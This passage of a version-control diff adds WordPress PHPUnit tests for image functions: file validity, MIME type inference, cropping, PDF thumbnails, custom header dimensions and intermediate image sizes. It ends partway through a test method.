--- /tags/5.0.20/tests/phpunit/tests/image/functions.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/image/functions.php	(revision 56912)
@@ -0,0 +1,592 @@
+<?php
+
+/**
+ * @group image
+ * @group media
+ * @group upload
+ */
+class Tests_Image_Functions extends WP_UnitTestCase {
+
+	/**
+	 * Setup test fixture
+	 */
+	public function setUp() {
+		parent::setUp();
+
+		require_once( ABSPATH . WPINC . '/class-wp-image-editor.php' );
+		require_once( ABSPATH . WPINC . '/class-wp-image-editor-gd.php' );
+		require_once( ABSPATH . WPINC . '/class-wp-image-editor-imagick.php' );
+
+		include_once( DIR_TESTDATA . '/../includes/mock-image-editor.php' );
+
+		// Ensure no legacy / failed tests detritus.
+		$folder = '/tmp/wordpress-gsoc-flyer*.{jpg,pdf}';
+
+		foreach ( glob( $folder, GLOB_BRACE ) as $file ) {
+			unlink( $file );
+		}
+	}
+
+	/**
+	 * Get the MIME type of a file
+	 * @param string $filename
+	 * @return string
+	 */
+	protected function get_mime_type( $filename ) {
+		$mime_type = '';
+		if ( extension_loaded( 'fileinfo' ) ) {
+			$finfo = new finfo();
+			$mime_type = $finfo->file( $filename, FILEINFO_MIME );
+		}
+		if ( false !== strpos( $mime_type, ';' ) ) {
+			list( $mime_type, $charset ) = explode( ';', $mime_type, 2 );
+		}
+		return $mime_type;
+	}
+
+	function test_is_image_positive() {
+		// these are all image files recognized by php
+		$files = array(
+			'test-image-cmyk.jpg',
+			'test-image.bmp',
+			'test-image-grayscale.jpg',
+			'test-image.gif',
+			'test-image.png',
+			'test-image.tiff',
+			'test-image-lzw.tiff',
+			'test-image.jp2',
+			'test-image.psd',
+			'test-image-zip.tiff',
+			'test-image.jpg',
+			);
+
+		foreach ($files as $file) {
+			$this->assertTrue( file_is_valid_image( DIR_TESTDATA.'/images/'.$file ), "file_is_valid_image($file) should return true" );
+		}
+	}
+
+	function test_is_image_negative() {
+		// these are actually image files but aren't recognized or usable by php
+		$files = array(
+			'test-image.pct',
+			'test-image.tga',
+			'test-image.sgi',
+			);
+
+		foreach ($files as $file) {
+			$this->assertFalse( file_is_valid_image( DIR_TESTDATA.'/images/'.$file ), "file_is_valid_image($file) should return false" );
+		}
+	}
+
+	function test_is_displayable_image_positive() {
+		// these are all usable in typical web browsers
+		$files = array(
+			'test-image.gif',
+			'test-image.png',
+			'test-image.jpg',
+			);
+
+		foreach ($files as $file) {
+			$this->assertTrue( file_is_displayable_image( DIR_TESTDATA.'/images/'.$file ), "file_is_valid_image($file) should return true" );
+		}
+	}
+
+	function test_is_displayable_image_negative() {
+		// these are image files but aren't suitable for web pages because of compatibility or size issues
+		$files = array(
+			// 'test-image-cmyk.jpg', Allowed in r9727
+			// 'test-image.bmp', Allowed in r28589
+			// 'test-image-grayscale.jpg', Allowed in r9727
+			'test-image.pct',
+			'test-image.tga',
+			'test-image.sgi',
+			'test-image.tiff',
+			'test-image-lzw.tiff',
+			'test-image.jp2',
+			'test-image.psd',
+			'test-image-zip.tiff',
+			);
+
+		foreach ($files as $file) {
+			$this->assertFalse( file_is_displayable_image( DIR_TESTDATA.'/images/'.$file ), "file_is_valid_image($file) should return false" );
+		}
+	}
+
+	/**
+	 * Test save image file and mime_types
+	 * @ticket 6821
+	 */
+	public function test_wp_save_image_file() {
+		if ( ! extension_loaded( 'fileinfo' ) ) {
+			$this->markTestSkipped( 'The fileinfo PHP extension is not loaded.' );
+		}
+
+		include_once( ABSPATH . 'wp-admin/includes/image-edit.php' );
+
+		// Mime types
+		$mime_types = array(
+			'image/jpeg',
+			'image/gif',
+			'image/png'
+		);
+
+		// Test each image editor engine
+		$classes = array('WP_Image_Editor_GD', 'WP_Image_Editor_Imagick');
+		foreach ( $classes as $class ) {
+
+			// If the image editor isn't available, skip it
+			if ( ! call_user_func( array( $class, 'test' ) ) ) {
+				continue;
+			}
+
+			$img = new $class( DIR_TESTDATA . '/images/canola.jpg' );
+			$loaded = $img->load();
+
+			// Save a file as each mime type, assert it works
+			foreach ( $mime_types as $mime_type ) {
+				if ( ! $img->supports_mime_type( $mime_type ) ) {
+					continue;
+				}
+
+				$file = wp_tempnam();
+				$ret = wp_save_image_file( $file, $img, $mime_type, 1 );
+				$this->assertNotEmpty( $ret );
+				$this->assertNotInstanceOf( 'WP_Error', $ret );
+				$this->assertEquals( $mime_type, $this->get_mime_type( $ret['path'] ) );
+
+				// Clean up
+				unlink( $file );
+				unlink( $ret['path'] );
+			}
+
+			// Clean up
+			unset( $img );
+		}
+	}
+
+	/**
+	 * Test that a passed mime type overrides the extension in the filename
+	 * @ticket 6821
+	 */
+	public function test_mime_overrides_filename() {
+		if ( ! extension_loaded( 'fileinfo' ) ) {
+			$this->markTestSkipped( 'The fileinfo PHP extension is not loaded.' );
+		}
+
+		// Test each image editor engine
+		$classes = array('WP_Image_Editor_GD', 'WP_Image_Editor_Imagick');
+		foreach ( $classes as $class ) {
+
+			// If the image editor isn't available, skip it
+			if ( ! call_user_func( array( $class, 'test' ) ) ) {
+				continue;
+			}
+
+			$img = new $class( DIR_TESTDATA . '/images/canola.jpg' );
+			$loaded = $img->load();
+
+			// Save the file
+			$mime_type = 'image/gif';
+			$file = wp_tempnam( 'tmp.jpg' );
+			$ret = $img->save( $file, $mime_type );
+
+			// Make assertions
+			$this->assertNotEmpty( $ret );
+			$this->assertNotInstanceOf( 'WP_Error', $ret );
+			$this->assertEquals( $mime_type, $this->get_mime_type( $ret['path'] ) );
+
+			// Clean up
+			unlink( $file );
+			unlink( $ret['path'] );
+			unset( $img );
+		}
+	}
+
+	/**
+	 * Test that mime types are correctly inferred from file extensions
+	 * @ticket 6821
+	 */
+	public function test_inferred_mime_types() {
+		if ( ! extension_loaded( 'fileinfo' ) ) {
+			$this->markTestSkipped( 'The fileinfo PHP extension is not loaded.' );
+		}
+
+		// Mime types
+		$mime_types = array(
+			'jpg'  => 'image/jpeg',
+			'jpeg' => 'image/jpeg',
+			'jpe'  => 'image/jpeg',
+			'gif'  => 'image/gif',
+			'png'  => 'image/png',
+			'unk'  => 'image/jpeg' // Default, unknown
+		);
+
+		// Test each image editor engine
+		$classes = array('WP_Image_Editor_GD', 'WP_Image_Editor_Imagick');
+		foreach ( $classes as $class ) {
+
+			// If the image editor isn't available, skip it
+			if ( ! call_user_func( array( $class, 'test' ) ) ) {
+				continue;
+			}
+
+			$img = new $class( DIR_TESTDATA . '/images/canola.jpg' );
+			$loaded = $img->load();
+
+			// Save the image as each file extension, check the mime type
+			$img = wp_get_image_editor( DIR_TESTDATA . '/images/canola.jpg' );
+			$this->assertNotInstanceOf( 'WP_Error', $img );
+
+			$temp = get_temp_dir();
+			foreach ( $mime_types as $ext => $mime_type ) {
+				if ( ! $img->supports_mime_type( $mime_type ) ) {
+					continue;
+				}
+
+				$file = wp_unique_filename( $temp, uniqid() . ".$ext" );
+				$ret = $img->save( trailingslashit( $temp ) . $file );
+				$this->assertNotEmpty( $ret );
+				$this->assertNotInstanceOf( 'WP_Error', $ret );
+				$this->assertEquals( $mime_type, $this->get_mime_type( $ret['path'] ) );
+				unlink( $ret['path'] );
+			}
+
+			// Clean up
+			unset( $img );
+		}
+	}
+
+	/**
+	 * Try loading a directory
+	 *
+	 * @ticket 17814
+	 * @expectedDeprecated wp_load_image
+	 */
+	public function test_load_directory() {
+
+		// First, test with deprecated wp_load_image function
+		$editor1 = wp_load_image( DIR_TESTDATA );
+		$this->assertNotInternalType( 'resource', $editor1 );
+
+		$editor2 = wp_get_image_editor( DIR_TESTDATA );
+		$this->assertNotInternalType( 'resource', $editor2 );
+
+		// Then, test with editors.
+		$classes = array('WP_Image_Editor_GD', 'WP_Image_Editor_Imagick');
+		foreach ( $classes as $class ) {
+			// If the image editor isn't available, skip it
+			if ( ! call_user_func( array( $class, 'test' ) ) ) {
+				continue;
+			}
+
+			$editor = new $class( DIR_TESTDATA );
+			$loaded = $editor->load();
+
+			$this->assertInstanceOf( 'WP_Error', $loaded );
+			$this->assertEquals( 'error_loading_image', $loaded->get_error_code() );
+		}
+	}
+
+	public function test_wp_crop_image_file() {
+		if ( !function_exists( 'imagejpeg' ) )
+			$this->fail( 'jpeg support unavailable' );
+
+		$file = wp_crop_image( DIR_TESTDATA . '/images/canola.jpg',
+							  0, 0, 100, 100, 100, 100 );
+		$this->assertNotInstanceOf( 'WP_Error', $file );
+		$this->assertFileExists( $file );
+		$image = wp_get_image_editor( $file );
+		$size = $image->get_size();
+		$this->assertEquals( 100, $size['height'] );
+		$this->assertEquals( 100, $size['width'] );
+
+		unlink( $file );
+	}
+
+	public function test_wp_crop_image_url() {
+		if ( !function_exists( 'imagejpeg' ) )
+			$this->fail( 'jpeg support unavailable' );
+
+		if ( ! extension_loaded( 'openssl' ) ) {
+			$this->markTestSkipped( 'Tests_Image_Functions::test_wp_crop_image_url() requires openssl.' );
+		}
+
+		$file = wp_crop_image( 'https://asdftestblog1.files.wordpress.com/2008/04/canola.jpg',
+							  0, 0, 100, 100, 100, 100, false,
+							  DIR_TESTDATA . '/images/' . __FUNCTION__ . '.jpg' );
+		$this->assertNotInstanceOf( 'WP_Error', $file );
+		$this->assertFileExists( $file );
+		$image = wp_get_image_editor( $file );
+		$size = $image->get_size();
+		$this->assertEquals( 100, $size['height'] );
+		$this->assertEquals( 100, $size['width'] );
+
+		unlink( $file );
+	}
+
+	public function test_wp_crop_image_file_not_exist() {
+		$file = wp_crop_image( DIR_TESTDATA . '/images/canoladoesnotexist.jpg',
+							  0, 0, 100, 100, 100, 100 );
+		$this->assertInstanceOf( 'WP_Error', $file );
+	}
+
+	public function test_wp_crop_image_url_not_exist() {
+		if ( ! extension_loaded( 'openssl' ) ) {
+			$this->markTestSkipped( 'Tests_Image_Functions::test_wp_crop_image_url_not_exist() requires openssl.' );
+		}
+
+		$file = wp_crop_image( 'https://asdftestblog1.files.wordpress.com/2008/04/canoladoesnotexist.jpg',
+							  0, 0, 100, 100, 100, 100 );
+		$this->assertInstanceOf( 'WP_Error', $file );
+	}
+
+	function mock_image_editor( $editors ) {
+		return array( 'WP_Image_Editor_Mock' );
+	}
+
+	/**
+	 * @ticket 23325
+	 */
+	public function test_wp_crop_image_error_on_saving() {
+		WP_Image_Editor_Mock::$save_return = new WP_Error();
+		add_filter( 'wp_image_editors', array( $this, 'mock_image_editor' ) );
+
+		$file = wp_crop_image( DIR_TESTDATA . '/images/canola.jpg',
+							  0, 0, 100, 100, 100, 100 );
+		$this->assertInstanceOf( 'WP_Error', $file );
+
+		remove_filter( 'wp_image_editors', array( $this, 'mock_image_editor' ) );
+		WP_Image_Editor_Mock::$save_return = array();
+	}
+
+	/**
+	 * @ticket 31050
+	 */
+	public function test_wp_generate_attachment_metadata_pdf() {
+		if ( ! wp_image_editor_supports( array( 'mime_type' => 'application/pdf' ) ) ) {
+			$this->markTestSkipped( 'Rendering PDFs is not supported on this system.' );
+		}
+
+		$orig_file = DIR_TESTDATA . '/images/wordpress-gsoc-flyer.pdf';
+		$test_file = '/tmp/wordpress-gsoc-flyer.pdf';
+		copy( $orig_file, $test_file );
+
+		$editor = wp_get_image_editor( $test_file );
+		if ( is_wp_error( $editor ) ) {
+			$this->markTestSkipped( $editor->get_error_message() );
+		}
+
+		$attachment_id = $this->factory->attachment->create_object( $test_file, 0, array(
+			'post_mime_type' => 'application/pdf',
+		) );
+
+		$this->assertNotEmpty( $attachment_id );
+
+		$expected = array(
+			'sizes' => array(
+				'thumbnail' => array(
+					'file'      => "wordpress-gsoc-flyer-pdf-116x150.jpg",
+					'width'     => 116,
+					'height'    => 150,
+					'mime-type' => "image/jpeg",
+				),
+				'medium'    => array(
+					'file'      => "wordpress-gsoc-flyer-pdf-232x300.jpg",
+					'width'     => 232,
+					'height'    => 300,
+					'mime-type' => "image/jpeg",
+				),
+				'large'     => array(
+					'file'      => "wordpress-gsoc-flyer-pdf-791x1024.jpg",
+					'width'     => 791,
+					'height'    => 1024,
+					'mime-type' => "image/jpeg",
+				),
+				'full'      => array(
+					'file'      => "wordpress-gsoc-flyer-pdf.jpg",
+					'width'     => 1088,
+					'height'    => 1408,
+					'mime-type' => "image/jpeg",
+				),
+			),
+		);
+
+		$metadata = wp_generate_attachment_metadata( $attachment_id, $test_file );
+		$this->assertSame( $expected, $metadata );
+
+		unlink( $test_file );
+		foreach ( $metadata['sizes'] as $size ) {
+			unlink ( '/tmp/' . $size['file'] );
+		}
+	}
+
+	/**
+	 * Crop setting for PDF.
+	 *
+	 * @ticket 43226
+	 */
+	public function test_crop_setting_for_pdf() {
+
+		if ( ! wp_image_editor_supports( array( 'mime_type' => 'application/pdf' ) ) ) {
+			$this->markTestSkipped( 'Rendering PDFs is not supported on this system.' );
+		}
+
+		update_option( 'medium_crop', 1 );
+
+		$orig_file = DIR_TESTDATA . '/images/wordpress-gsoc-flyer.pdf';
+		$test_file = get_temp_dir() . 'wordpress-gsoc-flyer.pdf';
+		copy( $orig_file, $test_file );
+
+		$editor = wp_get_image_editor( $test_file );
+		if ( is_wp_error( $editor ) ) {
+			$this->markTestSkipped( $editor->get_error_message() );
+		}
+
+		$attachment_id = $this->factory->attachment->create_object(
+			$test_file, 0, array(
+				'post_mime_type' => 'application/pdf',
+			)
+		);
+
+		$this->assertNotEmpty( $attachment_id );
+
+		$expected = array(
+			'sizes' => array(
+				'thumbnail' => array(
+					'file'      => 'wordpress-gsoc-flyer-pdf-116x150.jpg',
+					'width'     => 116,
+					'height'    => 150,
+					'mime-type' => 'image/jpeg',
+				),
+				'medium'    => array(
+					'file'      => 'wordpress-gsoc-flyer-pdf-300x300.jpg',
+					'width'     => 300,
+					'height'    => 300,
+					'mime-type' => 'image/jpeg',
+				),
+				'large'     => array(
+					'file'      => 'wordpress-gsoc-flyer-pdf-791x1024.jpg',
+					'width'     => 791,
+					'height'    => 1024,
+					'mime-type' => 'image/jpeg',
+				),
+				'full'      => array(
+					'file'      => 'wordpress-gsoc-flyer-pdf.jpg',
+					'width'     => 1088,
+					'height'    => 1408,
+					'mime-type' => 'image/jpeg',
+				),
+			),
+		);
+
+		$metadata = wp_generate_attachment_metadata( $attachment_id, $test_file );
+		$this->assertSame( $expected, $metadata );
+
+		unlink( $test_file );
+		foreach ( $metadata['sizes'] as $size ) {
+			unlink( get_temp_dir() . $size['file'] );
+		}
+	}
+
+	/**
+	 * @ticket 39231
+	 */
+	public function test_fallback_intermediate_image_sizes() {
+		if ( ! wp_image_editor_supports( array( 'mime_type' => 'application/pdf' ) ) ) {
+			$this->markTestSkipped( 'Rendering PDFs is not supported on this system.' );
+		}
+
+		$orig_file = DIR_TESTDATA . '/images/wordpress-gsoc-flyer.pdf';
+		$test_file = '/tmp/wordpress-gsoc-flyer.pdf';
+		copy( $orig_file, $test_file );
+
+		$editor = wp_get_image_editor( $test_file );
+		if ( is_wp_error( $editor ) ) {
+			$this->markTestSkipped( $editor->get_error_message() );
+		}
+
+		$attachment_id = $this->factory->attachment->create_object( $test_file, 0, array(
+			'post_mime_type' => 'application/pdf',
+		) );
+
+		$this->assertNotEmpty( $attachment_id );
+
+		add_image_size( 'test-size', 100, 100 );
+		add_filter( 'fallback_intermediate_image_sizes', array( $this, 'filter_fallback_intermediate_image_sizes' ), 10, 2 );
+
+		$expected = array(
+			'file'      => 'wordpress-gsoc-flyer-pdf-77x100.jpg',
+			'width'     => 77,
+			'height'    => 100,
+			'mime-type' => 'image/jpeg',
+		);
+
+		$metadata = wp_generate_attachment_metadata( $attachment_id, $test_file );
+		$this->assertTrue( isset( $metadata['sizes']['test-size'] ), 'The `test-size` was not added to the metadata.' );
+		$this->assertSame( $metadata['sizes']['test-size'], $expected );
+
+		remove_image_size( 'test-size' );
+		remove_filter( 'fallback_intermediate_image_sizes', array( $this, 'filter_fallback_intermediate_image_sizes' ), 10 );
+
+		unlink( $test_file );
+		foreach ( $metadata['sizes'] as $size ) {
+			unlink ( '/tmp/' . $size['file'] );
+		}
+	}
+
+	function filter_fallback_intermediate_image_sizes( $fallback_sizes, $metadata ) {
+		// Add the 'test-size' to the list of fallback sizes.
+		$fallback_sizes[] = 'test-size';
+
+		return $fallback_sizes;
+	}
+
+	/**
+	 * Test PDF preview doesn't overwrite existing JPEG.
+	 * @ticket 39875
+	 */
+	public function test_pdf_preview_doesnt_overwrite_existing_jpeg() {
+		if ( ! wp_image_editor_supports( array( 'mime_type' => 'application/pdf' ) ) ) {
+			$this->markTestSkipped( 'Rendering PDFs is not supported on this system.' );
+		}
+
+		// Dummy JPEGs.
+		$jpg1_path = '/tmp/test.jpg'; // Straight.
+		file_put_contents( $jpg1_path, 'asdf' );
+		$jpg2_path = '/tmp/test-pdf.jpg'; // With PDF marker.
+		file_put_contents( $jpg2_path, 'fdsa' );
+
+		// PDF with same name as JPEG.
+		$pdf_path = '/tmp/test.pdf';
+		copy( DIR_TESTDATA . '/images/wordpress-gsoc-flyer.pdf', $pdf_path );
+
+		$editor = wp_get_image_editor( $pdf_path );
+		if ( is_wp_error( $editor ) ) {
+			$this->markTestSkipped( $editor->get_error_message() );
+		}
+
+		$attachment_id = $this->factory->attachment->create_object( $pdf_path, 0, array(
+			'post_mime_type' => 'application/pdf',
+		) );
+
+		$metadata = wp_generate_attachment_metadata( $attachment_id, $pdf_path );
+		$preview_path = '/tmp/' . $metadata['sizes']['full']['file'];
+
+		// PDF preview didn't overwrite PDF.
+		$this->assertNotEquals( $pdf_path, $preview_path );
+		// PDF preview didn't overwrite JPG with same name.
+		$this->assertNotEquals( $jpg1_path, $preview_path );
+		$this->assertSame( 'asdf', file_get_contents( $jpg1_path ) );
+		// PDF preview didn't overwrite PDF preview with same name.
+		$this->assertNotEquals( $jpg2_path, $preview_path );
+		$this->assertSame( 'fdsa', file_get_contents( $jpg2_path ) );
+
+		// Cleanup.
+		unlink( $jpg1_path );
+		unlink( $jpg2_path );
+		unlink( $pdf_path );
+		foreach ( $metadata['sizes'] as $size ) {
+			unlink( '/tmp/' . $size['file'] );
+		}
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/image/header.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/image/header.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/image/header.php	(revision 56912)
@@ -0,0 +1,173 @@
+<?php
+require_once( ABSPATH . 'wp-admin/custom-header.php');
+
+/**
+ * @group image
+ * @group header
+ */
+class Tests_Image_Header extends WP_UnitTestCase {
+	var $custom_image_header;
+
+	function setUp() {
+		parent::setUp();
+		$this->custom_image_header = new Custom_Image_Header( '__return_null' );
+	}
+
+	function test_header_image_has_correct_dimensions_with_max_width() {
+		global $_wp_theme_features;
+
+		$_wp_theme_features['custom-header'][0]['max-width'] = 1600;
+		$_wp_theme_features['custom-header'][0]['width'] = 1200;
+		$_wp_theme_features['custom-header'][0]['height'] = 230;
+		$_wp_theme_features['custom-header'][0]['flex-width'] = false;
+		$_wp_theme_features['custom-header'][0]['flex-height'] = false;
+
+		$dimensions = $this->custom_image_header->get_header_dimensions( array(
+			'width' => 1600,
+			'height' => 1200,
+		) );
+		$this->assertEquals( 1200, $dimensions['dst_width'] );
+		$this->assertEquals( 230, $dimensions['dst_height'] );
+
+	}
+
+	function test_header_image_has_correct_dimensions_with_fixed() {
+		global $_wp_theme_features;
+
+		unset( $_wp_theme_features['custom-header'][0]['max-width'] );
+		$_wp_theme_features['custom-header'][0]['width'] = 1200;
+		$_wp_theme_features['custom-header'][0]['height'] = 230;
+		$_wp_theme_features['custom-header'][0]['flex-width'] = false;
+		$_wp_theme_features['custom-header'][0]['flex-height'] = false;
+
+		$dimensions = $this->custom_image_header->get_header_dimensions( array(
+			'width' => 1600,
+			'height' => 1200,
+		) );
+		$this->assertEquals( 1200, $dimensions['dst_width'] );
+		$this->assertEquals( 230, $dimensions['dst_height'] );
+
+	}
+
+	function test_header_image_has_correct_dimensions_with_flex_height() {
+		global $_wp_theme_features;
+
+		unset( $_wp_theme_features['custom-header'][0]['max-width'] );
+		$_wp_theme_features['custom-header'][0]['width'] = 1200;
+		$_wp_theme_features['custom-header'][0]['height'] = 230;
+		$_wp_theme_features['custom-header'][0]['flex-width'] = false;
+		$_wp_theme_features['custom-header'][0]['flex-height'] = true;
+
+		$dimensions = $this->custom_image_header->get_header_dimensions( array(
+			'width' => 1600,
+			'height' => 1200,
+		) );
+		$this->assertEquals( 1200, $dimensions['dst_width'] );
+		$this->assertEquals( 900, $dimensions['dst_height'] );
+
+	}
+
+	function test_header_image_has_correct_dimensions_with_flex_width() {
+		global $_wp_theme_features;
+
+		unset( $_wp_theme_features['custom-header'][0]['max-width'] );
+		$_wp_theme_features['custom-header'][0]['width'] = 1200;
+		$_wp_theme_features['custom-header'][0]['height'] = 230;
+		$_wp_theme_features['custom-header'][0]['flex-width'] = true;
+		$_wp_theme_features['custom-header'][0]['flex-height'] = false;
+
+		$dimensions = $this->custom_image_header->get_header_dimensions( array(
+			'width' => 1600,
+			'height' => 1200,
+		) );
+		$this->assertEquals( 1500, $dimensions['dst_width'] ); // max width
+		$this->assertEquals( 230, $dimensions['dst_height'] );
+
+	}
+
+	function test_header_image_has_correct_dimensions_with_flex_width_and_height() {
+		global $_wp_theme_features;
+
+		$_wp_theme_features['custom-header'][0]['max-width'] = 1800;
+		$_wp_theme_features['custom-header'][0]['width'] = 1200;
+		$_wp_theme_features['custom-header'][0]['height'] = 230;
+		$_wp_theme_features['custom-header'][0]['flex-width'] = true;
+		$_wp_theme_features['custom-header'][0]['flex-height'] = true;
+
+		$dimensions = $this->custom_image_header->get_header_dimensions( array(
+			'width' => 1600,
+			'height' => 1200,
+		) );
+		$this->assertEquals( 1600, $dimensions['dst_width'] );
+		$this->assertEquals( 1200, $dimensions['dst_height'] );
+
+	}
+
+	function test_create_attachment_object() {
+		$id = wp_insert_attachment( array(
+			'post_status' => 'publish',
+			'post_title' => 'foo.png',
+			'post_type' => 'post',
+			'guid' => 'http://localhost/foo.png'
+		) );
+
+		$cropped = 'foo-cropped.png';
+
+		$object = $this->custom_image_header->create_attachment_object( $cropped, $id );
+		$this->assertEquals( 'foo-cropped.png', $object['post_title'] );
+		$this->assertEquals( 'http://localhost/' . $cropped, $object['guid'] );
+		$this->assertEquals( 'custom-header', $object['context'] );
+		$this->assertEquals( 'image/jpeg', $object['post_mime_type'] );
+	}
+
+	function test_insert_cropped_attachment() {
+		$id = wp_insert_attachment( array(
+			'post_status' => 'publish',
+			'post_title' => 'foo.png',
+			'post_type' => 'post',
+			'guid' => 'http://localhost/foo.png'
+		) );
+
+		$cropped = 'foo-cropped.png';
+		$object = $this->custom_image_header->create_attachment_object( $cropped, $id );
+
+		$cropped_id = $this->custom_image_header->insert_attachment( $object, $cropped );
+
+		$this->assertInternalType( 'int', $cropped_id );
+		$this->assertGreaterThan( 0, $cropped_id );
+	}
+
+	/**
+	 * @ticket 21819
+	 */
+	function test_check_get_previous_crop() {
+		$id = wp_insert_attachment( array(
+			'post_status' => 'publish',
+			'post_title' => 'foo.png',
+			'post_type' => 'post',
+			'guid' => 'http://localhost/foo.png'
+		) );
+
+		// Create inital crop object.
+		$cropped_1 = 'foo-cropped-1.png';
+		$object = $this->custom_image_header->create_attachment_object( $cropped_1, $id );
+
+		// Ensure no previous crop exists.
+		$previous = $this->custom_image_header->get_previous_crop( $object );
+		$this->assertFalse( $previous );
+
+		// Create the inital crop attachment and set it as the header.
+		$cropped_1_id = $this->custom_image_header->insert_attachment( $object, $cropped_1 );
+		$key = '_wp_attachment_custom_header_last_used_' . get_stylesheet();
+		update_post_meta( $cropped_1_id, $key, time() );
+		update_post_meta( $cropped_1_id, '_wp_attachment_is_custom_header', get_stylesheet() );
+
+		// Create second crop.
+		$cropped_2 = 'foo-cropped-2.png';
+		$object = $this->custom_image_header->create_attachment_object( $cropped_2, $id );
+
+		// Test that a previous crop is found.
+		$previous = $this->custom_image_header->get_previous_crop( $object );
+		$this->assertSame( $previous, $cropped_1_id );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/image/intermediateSize.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/image/intermediateSize.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/image/intermediateSize.php	(revision 56912)
@@ -0,0 +1,261 @@
+<?php
+/**
+ * @group image
+ * @group media
+ * @group upload
+ */
+class Tests_Image_Intermediate_Size extends WP_UnitTestCase {
+	function tearDown() {
+		$this->remove_added_uploads();
+
+		remove_image_size( 'test-size' );
+		remove_image_size( 'false-height' );
+		remove_image_size( 'false-width' );
+		remove_image_size( 'off-by-one' );
+		parent::tearDown();
+	}
+
+	public function _make_attachment( $file, $parent_post_id = 0 ) {
+		$contents = file_get_contents( $file );
+		$upload = wp_upload_bits( basename( $file ), null, $contents );
+
+		return parent::_make_attachment( $upload, $parent_post_id );
+	}
+
+	function test_make_intermediate_size_no_size() {
+		$image = image_make_intermediate_size( DIR_TESTDATA . '/images/a2-small.jpg', 0, 0, false );
+
+		$this->assertFalse( $image );
+	}
+
+	function test_make_intermediate_size_width() {
+		if ( !function_exists( 'imagejpeg' ) )
+			$this->fail( 'jpeg support unavailable' );
+
+		$image = image_make_intermediate_size( DIR_TESTDATA . '/images/a2-small.jpg', 100, 0, false );
+
+		$this->assertInternalType( 'array', $image );
+	}
+
+	function test_make_intermediate_size_height() {
+		if ( !function_exists( 'imagejpeg' ) )
+			$this->fail( 'jpeg support unavailable' );
+
+		$image = image_make_intermediate_size( DIR_TESTDATA . '/images/a2-small.jpg', 0, 75, false );
+
+		$this->assertInternalType( 'array', $image );
+	}
+
+	function test_make_intermediate_size_successful() {
+		if ( !function_exists( 'imagejpeg' ) )
+			$this->fail( 'jpeg support unavailable' );
+
+		$image = image_make_intermediate_size( DIR_TESTDATA . '/images/a2-small.jpg', 100, 75, true );
+
+		$this->assertInternalType( 'array', $image );
+		$this->assertEquals( 100, $image['width'] );
+		$this->assertEquals( 75, $image['height'] );
+		$this->assertEquals( 'image/jpeg', $image['mime-type'] );
+
+		$this->assertFalse( isset( $image['path'] ) );
+
+		unlink( DIR_TESTDATA . '/images/a2-small-100x75.jpg' );
+	}
+
+	/**
+	* @ticket 17626
+	*/
+	function test_get_intermediate_sizes_by_name() {
+		add_image_size( 'test-size', 330, 220, true );
+
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+		$id = $this->_make_attachment( $file, 0 );
+
+		// look for a size by name
+		$image = image_get_intermediate_size( $id, 'test-size' );
+
+		// cleanup
+		remove_image_size( 'test-size' );
+
+		// test for the expected string because the array will by definition
+		// return with the correct height and width attributes
+		$this->assertTrue( strpos( $image['file'], '330x220' ) > 0 );
+	}
+
+	/**
+	* @ticket 17626
+	*/
+	function test_get_intermediate_sizes_by_array_exact() {
+		// Only one dimention match shouldn't return false positive (see: 17626)
+		add_image_size( 'test-size', 330, 220, true );
+		add_image_size( 'false-height', 330, 400, true );
+		add_image_size( 'false-width', 600, 220, true );
+
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+		$id = $this->_make_attachment( $file, 0 );
+
+		// look for a size by array that exists
+		// note: staying larger than 300px to miss default medium crop
+		$image = image_get_intermediate_size( $id, array( 330, 220 ) );
+
+		// test for the expected string because the array will by definition
+		// return with the correct height and width attributes
+		$this->assertTrue( strpos( $image['file'], '330x220' ) > 0 );
+	}
+
+	/**
+	* @ticket 17626
+	*/
+	function test_get_intermediate_sizes_by_array_nearest() {
+		// If an exact size is not found, it should be returned
+		// If not, find nearest size that is larger (see: 17626)
+		add_image_size( 'test-size', 450, 300, true );
+		add_image_size( 'false-height', 330, 100, true );
+		add_image_size( 'false-width', 150, 220, true );
+
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+		$id = $this->_make_attachment( $file, 0 );
+
+		// look for a size by array that doesn't exist
+		// note: staying larger than 300px to miss default medium crop
+		$image = image_get_intermediate_size( $id, array( 330, 220 ) );
+
+		// you have to test for the string because the image will by definition
+		// return with the correct height and width attributes
+		$this->assertTrue( strpos( $image['file'], '450x300' ) > 0 );
+	}
+
+	/**
+	* @ticket 17626
+	*/
+	function test_get_intermediate_sizes_by_array_nearest_false() {
+		// If an exact size is not found, it should be returned
+		// If not, find nearest size that is larger, otherwise return false (see: 17626)
+		add_image_size( 'false-height', 330, 100, true );
+		add_image_size( 'false-width', 150, 220, true );
+
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+		$id = $this->_make_attachment( $file, 0 );
+
+		// look for a size by array that doesn't exist
+		// note: staying larger than 300px to miss default medium crop
+		$image = image_get_intermediate_size( $id, array( 330, 220 ) );
+
+		// you have to test for the string because the image will by definition
+		// return with the correct height and width attributes
+		$this->assertFalse( $image );
+	}
+
+	/**
+	* @ticket 17626
+	*/
+	function test_get_intermediate_sizes_by_array_zero_height() {
+		// Generate random width
+		$random_w = rand( 300, 400 );
+
+		// Only one dimention match shouldn't return false positive (see: 17626)
+		add_image_size( 'test-size', $random_w, 0, false );
+		add_image_size( 'false-height', $random_w, 100, true );
+
+		$file = DIR_TESTDATA . '/images/waffles.jpg';
+		$id = $this->_make_attachment( $file, 0 );
+
+		$original = wp_get_attachment_metadata( $id );
+		$image_w = $random_w;
+		$image_h = round( ( $image_w / $original['width'] ) * $original['height'] );
+
+		// look for a size by array that exists
+		// note: staying larger than 300px to miss default medium crop
+		$image = image_get_intermediate_size( $id, array( $random_w, 0 ) );
+
+		// test for the expected string because the array will by definition
+		// return with the correct height and width attributes
+		$this->assertTrue( strpos( $image['file'], $image_w . 'x' . $image_h ) > 0 );
+	}
+
+	/**
+	 * @ticket 17626
+	 * @ticket 34087
+	 */
+	function test_get_intermediate_sizes_by_array_zero_width() {
+		// 202 is the smallest height that will trigger a miss for 'false-height'.
+		$height = 202;
+
+		// Only one dimention match shouldn't return false positive (see: 17626)
